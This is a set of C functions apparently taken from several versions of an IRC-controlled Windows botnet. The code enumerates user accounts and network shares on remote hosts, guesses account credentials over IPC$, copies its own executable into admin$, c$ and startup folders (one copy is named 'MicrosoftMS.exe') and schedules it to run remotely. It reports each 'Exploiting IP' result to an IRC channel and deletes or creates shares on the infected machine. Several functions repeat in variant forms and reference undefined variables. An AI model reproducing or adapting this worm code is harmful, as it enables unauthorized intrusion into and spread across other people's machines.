BOOL ListUsers(SOCKET sock, char *chan, BOOL notice, char *ServerName) { char buffer[IRCLINE]; LPUSER_INFO_0 pBuf=NULL, pTmpBuf; LPWSTR wServerName = (LPWSTR)AsWideString(ServerName); DWORD dwLevel=0,dwPrefMaxLen=MAX_PREFERRED_LENGTH,dwEntriesRead=0, dwTotalEntries=0,dwResumeHandle=0,dwTotalCount=0; NET_API_STATUS nStatus; irc_privmsg(sock,chan,"Username accounts for local system:",notice); do { nStatus = fNetUserEnum(wServerName,dwLevel,FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf, dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries,&dwResumeHandle); if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (DWORD i = 0;i < dwEntriesRead; i++) { assert(pTmpBuf != NULL); if (pTmpBuf == NULL) { sprintf(buffer,"-\x03\x34\2net\2\x03- an access violation has occured"); irc_privmsg(sock,chan,buffer,notice); break; } sprintf(buffer," %S",pTmpBuf->usri0_name); irc_privmsg(sock,chan,buffer,notice,TRUE); pTmpBuf++; dwTotalCount++; } } } else { sprintf(buffer,"-\x03\x34\2net\2\x03- user list error %s <%ld>",NasError(nStatus),nStatus); irc_privmsg(sock,chan,buffer,notice); } if (pBuf != NULL) { fNetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); if (pBuf != NULL) fNetApiBufferFree(pBuf); sprintf(buffer,"Total users found: %d.",dwTotalCount); irc_privmsg(sock,chan,buffer,notice); if(nStatus != ERROR_SUCCESS) return FALSE; return TRUE; }
char* GetRemoteComputerName(char* ip) { static char compname[100] = ""; DWORD dwLevel = 102; LPWKSTA_INFO_102 pBuf = NULL; NET_API_STATUS nStatus; LPTSTR pszServerName = NULL; NETRESOURCE nr; memset(&nr,0,sizeof(NETRESOURCE)); strcpy(remote_addr,"\\\\"); strcat(remote_addr,ip); strcat(remote_addr,"\\"); strcat(remote_addr,"admin$"); nr.lpRemoteName= (LPTSTR)remote_addr; nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=NULL; nr.lpProvider=NULL; nStatus = fWNetAddConnection2(&nr, NULL,NULL, 0); mbstowcs(remote_addr2, ip, MB_CUR_MAX ); nStatus = fNetWkstaGetInfo((unsigned short*)remote_addr2, dwLevel, (LPBYTE *)&pBuf); if (nStatus == NERR_Success) WideCharToMultiByte(CP_ACP, 0, pBuf->wki102_computername, -1, compname, sizeof(compname), NULL, NULL); if (pBuf != NULL) fNetApiBufferFree(pBuf); return compname; }
BOOL ListShares(SOCKET sock, char *chan, BOOL notice, char *ServerName) { char buffer[IRCLINE]; PSHARE_INFO_502 pBuf,p; NET_API_STATUS nStatus; LPWSTR wServerName = (LPWSTR)AsWideString(ServerName); DWORD entriesread=0,totalread=0,resume=0; irc_privmsg(sock,chan,"Share name: Resource: Uses: Desc:",notice); do { nStatus = fNetShareEnum(wServerName, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { p = pBuf; for(unsigned int i=1;i <= entriesread;i++) { sprintf(buffer,"%-14S %-24S %-6u %-4s",p->shi502_netname, p->shi502_path, p->shi502_current_uses, IsVSD(fIsValidSecurityDescriptor(p->shi502_security_descriptor))); irc_privmsg(sock,chan,buffer,notice,TRUE); p++; } fNetApiBufferFree(pBuf); } else { sprintf(buffer,"-\x03\x34\2net\2\x03- share list error %s <%ld>",NasError(nStatus),nStatus); irc_privmsg(sock,chan,buffer,notice); } } while (nStatus == ERROR_MORE_DATA); if(nStatus != ERROR_SUCCESS) return FALSE; return TRUE; }
NET_API_STATUS UserInfo(char *ServerName, char *Username, SOCKET sock, char *chan, BOOL notice) { char buffer[IRCLINE], *user_priv; LPUSER_INFO_11 pBuf = NULL; DWORD dwLevel = 11; LPWSTR wServerName = (LPWSTR)AsWideString(ServerName); LPWSTR wUsername = (LPWSTR)AsWideString(Username); NET_API_STATUS nStatus = fNetUserGetInfo(wServerName,wUsername,dwLevel,(LPBYTE *)&pBuf); if (nStatus == NERR_Success) { if (pBuf != NULL) { sprintf(buffer,"Account: %S",pBuf->usri11_name); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Full Name: %S",pBuf->usri11_full_name); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"User Comment: %S",pBuf->usri11_usr_comment); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Comment: %S",pBuf->usri11_comment); irc_privmsg(sock,chan,buffer,notice,TRUE); switch(pBuf->usri11_priv) { case USER_PRIV_GUEST: user_priv = TEXT("Guest"); break; case USER_PRIV_USER: user_priv = TEXT("User"); break; case USER_PRIV_ADMIN: user_priv = TEXT("Administrator"); break; default: user_priv = TEXT("Unknown"); break; } sprintf(buffer,"Privilege Level: %s",user_priv); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Auth Flags: %d",pBuf->usri11_auth_flags); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Home Directory: %S",pBuf->usri11_home_dir); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Parameters: %S",pBuf->usri11_parms); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Password Age: %d",pBuf->usri11_password_age); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Bad Password Count: %d",pBuf->usri11_bad_pw_count); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Number of Logins: %d",pBuf->usri11_num_logons); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Last Logon: %d",pBuf->usri11_last_logon); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Last Logoff: %d",pBuf->usri11_last_logoff); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Logon Server: %S",pBuf->usri11_logon_server); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Workstations: %S",pBuf->usri11_workstations); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Country Code: %d",pBuf->usri11_country_code); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"User's Language: %d",pBuf->usri11_code_page); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Max. Storage: %d",pBuf->usri11_max_storage); irc_privmsg(sock,chan,buffer,notice,TRUE); sprintf(buffer,"Units Per Week: %d",pBuf->usri11_units_per_week); irc_privmsg(sock,chan,buffer,notice,TRUE); } } else { sprintf(buffer,"-\x03\x34\2net\2\x03- user info error <%ld>",nStatus); irc_privmsg(sock,chan,buffer,notice); } if (pBuf != NULL) fNetApiBufferFree(pBuf); return (nStatus); }
BOOL SecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent) { char sendbuf[IRCLINE]; if (!noadvapi32) { HKEY hKey; if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) { TCHAR szDataBuf[]="N"; if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS) sprintf(sendbuf,"4<<12[SECURE]: Disable DCOM failed.4>>"); else sprintf(sendbuf,"4<<12[SECURE]: DCOM disabled.4>>"); fRegCloseKey(hKey); } else sprintf(sendbuf,"4<<12[SECURE]: Failed to open DCOM registry key.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000001; if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"4<<12[SECURE]: Failed to restrict access to the IPC$ Share.4>>"); else sprintf(sendbuf,"4<<12[SECURE]: Restricted access to the IPC$ Share.4>>"); fRegCloseKey(hKey); } else sprintf(sendbuf,"4<<12[SECURE]: Failed to open IPC$ Restriction registry key.4>>"); } else sprintf(sendbuf,"4<<12[SECURE]: Advapi32.dll couldn't be loaded.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (!nonetapi32) { PSHARE_INFO_502 pBuf,p; NET_API_STATUS nStatus; DWORD entriesread=0,totalread=0,resume=0; do { nStatus = fNetShareEnum(NULL, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { p = pBuf; for(unsigned int i=1;i <= entriesread;i++) { if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') { if(ShareDel(NULL,AsAnsiString(p->shi502_netname)) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"nzm (secure.plg) »» Share '%S' deleted.",p->shi502_netname); else _snprintf(sendbuf,sizeof(sendbuf),"nzm (secure.plg) »» Failed to delete '%S' share.",p->shi502_netname); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } p++; } fNetApiBufferFree(pBuf); } else { for(int i=0;i < (sizeof(ShareList) / sizeof (NetShares));i++) { if(ShareDel(NULL,ShareList[i].ShareName) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Share '%S' deleted.4>>",ShareList[i].ShareName); else _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Failed to delete '%S' share.4>>",ShareList[i].ShareName); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } } } while (nStatus == ERROR_MORE_DATA); sprintf(sendbuf,"4<<12[SECURE]: Network shares deleted.4>>"); } else sprintf(sendbuf,"4<<12[SECURE]: Netapi32.dll couldn't be loaded.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice); addlog(sendbuf); return TRUE; }
BOOL NetBios(char * Addr) { char szRemoteAddr[MAX_PATH]; sprintf(szRemoteAddr,"\\\\%s",Addr); HINSTANCE netapi32_dll = LoadLibrary("netapi32.dll"); if (netapi32_dll) { fNetShareEnum = (RSP5) GetProcAddress(netapi32_dll, "NetShareEnum"); //fNetApiBufferFree = (NABF) GetProcAddress(netapi32_dll, "NetApiBufferFree"); if (!fNetShareEnum || !fNetApiBufferFree) { //not xp/2000 ? return 2; } } else return 2; //dll's not found wchar_t wcRemoteAddr[MAX_PATH] = L""; mbstowcs(wcRemoteAddr, szRemoteAddr, strlen(szRemoteAddr) + 1); PSHARE_INFO_1 BufPtr,p; NET_API_STATUS res; DWORD er=0,tr=0,resume=0, i; char thisfilename[MAX_PATH]; char remotefilename[MAX_PATH]; char remoteinifilename[MAX_PATH]; char sendbuf[512]; GetModuleFileName(NULL,thisfilename,sizeof(thisfilename)); do { res = fNetShareEnum ((CHAR *) wcRemoteAddr, 1, (LPBYTE *) &BufPtr, -1, &er, &tr, &resume); if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA) { p=BufPtr; for(i=1;i<=er;i++) { if (p->shi1_type == STYPE_DISKTREE) { int s; for (s=0;startupdirs[s] != NULL;s++) { memset(remotefilename,0,sizeof(remotefilename)); sprintf(remotefilename,"%s\\%s\\%s\\MicrosoftMS.exe",szRemoteAddr,p->shi1_netname,startupdirs[s]); if (CopyFile(thisfilename,remotefilename,TRUE) != 0) { _snprintf(buffer,sizeof(buffer),"[NetBios]: Exploiting IP: %s",remotefile); irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); fNetApiBufferFree(BufPtr); FreeLibrary(netapi32_dll); return 1; } } } p++; } fNetApiBufferFree(BufPtr); } else { FreeLibrary(netapi32_dll); return 1; } } while (res==ERROR_MORE_DATA); FreeLibrary(netapi32_dll); return 1; }
BOOL NetBios(EXINFO exinfo) { char szUsername[300], RemoteName[200], szServer[18]; WCHAR *pszServerName = NULL,sName[500]; LPUSER_INFO_0 pBuf=NULL, pTmpBuf; DWORD dwLevel=0, dwPrefMaxLen=MAX_PREFERRED_LENGTH, dwEntriesRead=0, dwTotalEntries=0, dwResumeHandle=0, dwTotalCount=0; NET_API_STATUS nStatus; sprintf(szServer,"\\\\%s",exinfo.ip); MultiByteToWideChar(CP_ACP,0,szServer,-1,sName,sizeof(sName)); pszServerName=sName; NETRESOURCE nr; nr.lpLocalName=NULL; nr.lpProvider=NULL; nr.dwType=RESOURCETYPE_ANY; sprintf(RemoteName,"%s\\ipc$",szServer); nr.lpRemoteName=RemoteName; if (fWNetAddConnection2(&nr,"","",0) != NO_ERROR) { fWNetCancelConnection2(RemoteName,0,TRUE); return FALSE; } do { nStatus = fNetUserEnum(pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); fWNetCancelConnection2(RemoteName,0,TRUE); // If the call succeeds, if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (DWORD i = 0; (i < dwEntriesRead); i++) { if (pTmpBuf == NULL) break; WideCharToMultiByte(CP_ACP,0,pTmpBuf->usri0_name,-1,szUsername,sizeof(szUsername),NULL,NULL); if ((RootBox(szUsername,szServer,exinfo))==TRUE) break; pTmpBuf++; dwTotalCount++; } } } if (pBuf != NULL) { fNetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); if (pBuf != NULL) fNetApiBufferFree(pBuf); if (nStatus == ERROR_ACCESS_DENIED) { for (int i=0; usernames[i]; i++) { if ((RootBox(usernames[i],szServer,exinfo))==TRUE) break; } } return TRUE; }
BOOL NetConnect(char *szUsername, char *szPassword, char *szServer, EXINFO exinfo) { NETRESOURCE nr; memset(&nr,0,sizeof(NETRESOURCE)); nr.lpRemoteName=szServer; nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=NULL; nr.lpProvider=NULL; // Call the WNetAddConnection2 function to make the connection, // specifying a persistent connection. DWORD dwResult = fWNetAddConnection2(&nr, (LPSTR)szPassword, (LPSTR)szUsername, 0); if(dwResult != NO_ERROR) { Sleep (10); fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE); return FALSE; } WCHAR wszNetbios[200], wszFilename[MAX_PATH]; char szRemoteFile[MAX_PATH], buffer[IRCLINE]; char *sharepath[]={"Admin$\\system32","c$\\winnt\\system32","c$\\windows\\system32","c","d"}; TIME_OF_DAY_INFO *tinfo=NULL; DWORD JobID; AT_INFO at_time; MultiByteToWideChar(CP_ACP,0,szServer,-1,wszNetbios,sizeof(wszNetbios)); NET_API_STATUS nStatus=fNetRemoteTOD(wszNetbios,(LPBYTE *)&tinfo); if (nStatus == NERR_Success) { if (tinfo) { //_snprintf(buffer,sizeof(buffer),"[%s]: Connected to IP: %s (%s/%s).", exploit[exinfo.exploit].name,szServer, szUsername, szPassword); //addlog(buffer); int j = 0;; for (int i=0;i<(sizeof(sharepath) / sizeof(LPTSTR));i++) { sprintf(szRemoteFile,"%s\\%s\\%s",szServer,sharepath[i],filename); if ((j=CopyFile(filename,szRemoteFile,FALSE)) != 0) break; else if (GetLastError() == ERROR_ACCESS_DENIED) { if (_access(szRemoteFile,00) == 0) { szRemoteFile[strlen(szRemoteFile)-5] = (char)((rand()%10)+48); if ((j=CopyFile(filename,szRemoteFile,FALSE)) != 0) break; } } } if (!j) { fNetApiBufferFree(tinfo); fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE); return FALSE; } DWORD jobtime=tinfo->tod_elapsedt / 60; jobtime-=tinfo->tod_timezone; jobtime+=2; jobtime%=(24*60); memset(&at_time,0,sizeof(AT_INFO)); at_time.JobTime=jobtime*60000; MultiByteToWideChar(CP_ACP,0,filename,-1,wszFilename,sizeof(wszFilename)); at_time.Command=wszFilename; if ((nStatus=fNetScheduleJobAdd(wszNetbios,(BYTE *)&at_time,&JobID)) == NERR_Success) { _snprintf(buffer,sizeof(buffer),"[%s]: Exploiting IP: %s, Share: \\%s, User: (%s/%s)",exploit[exinfo.exploit].name,szServer,sharepath[i],szUsername,((strcmp(szPassword,"")==0)?("(no password)"):(szPassword))); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); addlog(buffer); exploit[exinfo.exploit].stats++; } } } fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE); return TRUE; }
BOOL SecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent) { char sendbuf[IRCLINE]; if (!noadvapi32) { HKEY hKey; if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) { TCHAR szDataBuf[]="N"; if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS) sprintf(sendbuf,"[SECURE]: Disable DCOM failed."); else sprintf(sendbuf,"[SECURE]: DCOM disabled."); fRegCloseKey(hKey); } else sprintf(sendbuf,"[SECURE]: Failed to open DCOM registry key."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000001; if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"[SECURE]: Failed to restrict access to the IPC$ Share."); else sprintf(sendbuf,"[SECURE]: Restricted access to the IPC$ Share."); fRegCloseKey(hKey); } else sprintf(sendbuf,"[SECURE]: Failed to open IPC$ Restriction registry key."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000001; if (fRegSetValueEx(hKey, "restrictanonymoussam", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"[SECURE]: Failed to restrict anonymous enumeration of SAM accounts."); else sprintf(sendbuf,"[SECURE]: Restricted anonymous enumeration of SAM accounts."); fRegCloseKey(hKey); } else sprintf(sendbuf,"[SECURE]: Failed to open enumeration of SAM accounts registry key."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); #ifndef NO_LSARESTRICT DWORD dwRet; if ((dwRet = SearchForPrivilegedAccounts(L"SeNetworkLogonRight", FALSE)) > 0) sprintf(sendbuf,"[SECURE]: Removed SeNetworkLogonRights from %d accounts in local system policy.", dwRet); else sprintf(sendbuf,"[SECURE]: Failed to remove SeNetworkLogonRights from any accounts in local system policy."); #endif } else sprintf(sendbuf,"[SECURE]: Advapi32.dll couldn't be loaded."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); #ifndef NO_NET if (!nonetapi32) { PSHARE_INFO_502 pBuf,p; NET_API_STATUS nStatus; DWORD entriesread=0,totalread=0,resume=0; do { nStatus = fNetShareEnum(NULL, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { p = pBuf; for(unsigned int i=1;i <= entriesread;i++) { if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') { char* szShareName = new char[wcslen(p->shi502_netname)+1]; WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, p->shi502_netname, -1, szShareName, sizeof(szShareName), NULL, NULL); if(ShareDel(NULL,szShareName) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%S' deleted.",p->shi502_netname); else _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to delete '%S' share.",p->shi502_netname); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); delete szShareName; } p++; } fNetApiBufferFree(pBuf); } else { for(int i=0;i < (sizeof(ShareList) / sizeof (NetShares));i++) { if(ShareDel(NULL,ShareList[i].ShareName) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%s' deleted.",ShareList[i].ShareName); else _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to delete '%s' share.",ShareList[i].ShareName); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } } } while (nStatus == ERROR_MORE_DATA); sprintf(sendbuf,"[SECURE]: Network shares deleted."); } else sprintf(sendbuf,"[SECURE]: Netapi32.dll couldn't be loaded."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice); addlog(sendbuf); #endif return TRUE; }
void SecureShares(BOOL secure, void *conn, char *target, BOOL silent, BOOL verbose, BOOL loop) { IRC* irc=(IRC*)conn; char sendbuf[IRCLINE]; char tmpBuffer[IRCLINE]; int shdel=0; int shmake=0; if (secure) { PSHARE_INFO_502 pBuf,p; NET_API_STATUS nStatus; DWORD entriesread=0,totalread=0,resume=0; if (!loop && !silent) sprintf(sendbuf,"%s Shares %s:",sec_title,"erased"); do { nStatus=fNetShareEnum(NULL,502,(LPBYTE *)&pBuf,-1,&entriesread,&totalread,&resume); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { p = pBuf; for(unsigned int i=1;i <= entriesread;i++) { if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') { if(fNetShareDel(NULL,(unsigned short *)p->shi502_netname,0) == NERR_Success) { if (!loop && !silent && verbose) { if (shdel>0) strcat(sendbuf,","); sprintf(tmpBuffer," %S",p->shi502_netname); strcat(sendbuf,tmpBuffer); } shdel++; } } p++; } fNetApiBufferFree(pBuf); } else { for(int i=0;i < (sizeof(ShareList)/sizeof(*ShareList));i++) { if(fNetShareDel(NULL,(unsigned short *)ShareList[i].ShareName,0) == NERR_Success) { if (!loop && !silent && verbose) { if (shdel>0) strcat(sendbuf,","); sprintf(tmpBuffer," %S",ShareList[i].ShareName); strcat(sendbuf,tmpBuffer); } shdel++; } } } } while (nStatus == ERROR_MORE_DATA); if (verbose && !loop && !silent) { if (shdel==0) irc->privmsg(target,"%s No shares %s.",sec_title,"erased"); else { sprintf(tmpBuffer," - Total shares %s: %d.","erased",shdel); strcat(sendbuf,tmpBuffer); irc->privmsg(target,sendbuf); } } else if (!loop && !silent && !verbose) { if (shdel==0) irc->privmsg(target,"%s No shares %s.",sec_title,"erased"); else { irc->privmsg(target,"%s Total shares %s: %d.",sec_title,"erased",shdel); } } } else { // Unsecure if (!loop && !silent) sprintf(sendbuf,"%s Shares %s:",unsec_title,"created"); NET_API_STATUS res; SHARE_INFO_2 p; DWORD parm_err = 0; for (int i=0;i < (sizeof(ShareList) / sizeof (*ShareList));i++) { p.shi2_netname = (unsigned short *)TEXT(ShareList[i].ShareName); p.shi2_type = STYPE_DISKTREE; p.shi2_remark = (unsigned short *)TEXT("rofl"); p.shi2_permissions = 0; p.shi2_max_uses = 4; p.shi2_current_uses = 0; p.shi2_path = (unsigned short *)TEXT(ShareList[i].SharePath); p.shi2_passwd = NULL; res=fNetShareAdd(NULL,2,(LPBYTE)&p,&parm_err); if(res==0) { if (!loop && !silent && verbose) { if (shmake>0) strcat(sendbuf,","); sprintf(tmpBuffer," %S",ShareList[i].ShareName); strcat(sendbuf,tmpBuffer); } shmake++; } } if (verbose && !loop && !silent) { if (shmake==0) irc->privmsg(target,"%s No shares %s.",unsec_title,"created"); else { sprintf(tmpBuffer," - Total shares %s: %d.","created",shmake); strcat(sendbuf,tmpBuffer); irc->privmsg(target,sendbuf); } } else if (!verbose && !silent && !loop) { if (shmake==0) irc->privmsg(target,"%s No shares %s.",unsec_title,"created"); else { irc->privmsg(target,"%s Total shares %s: %d.",unsec_title,"created",shmake); } // addlog(MAINLOG,sendbuf); } } return; }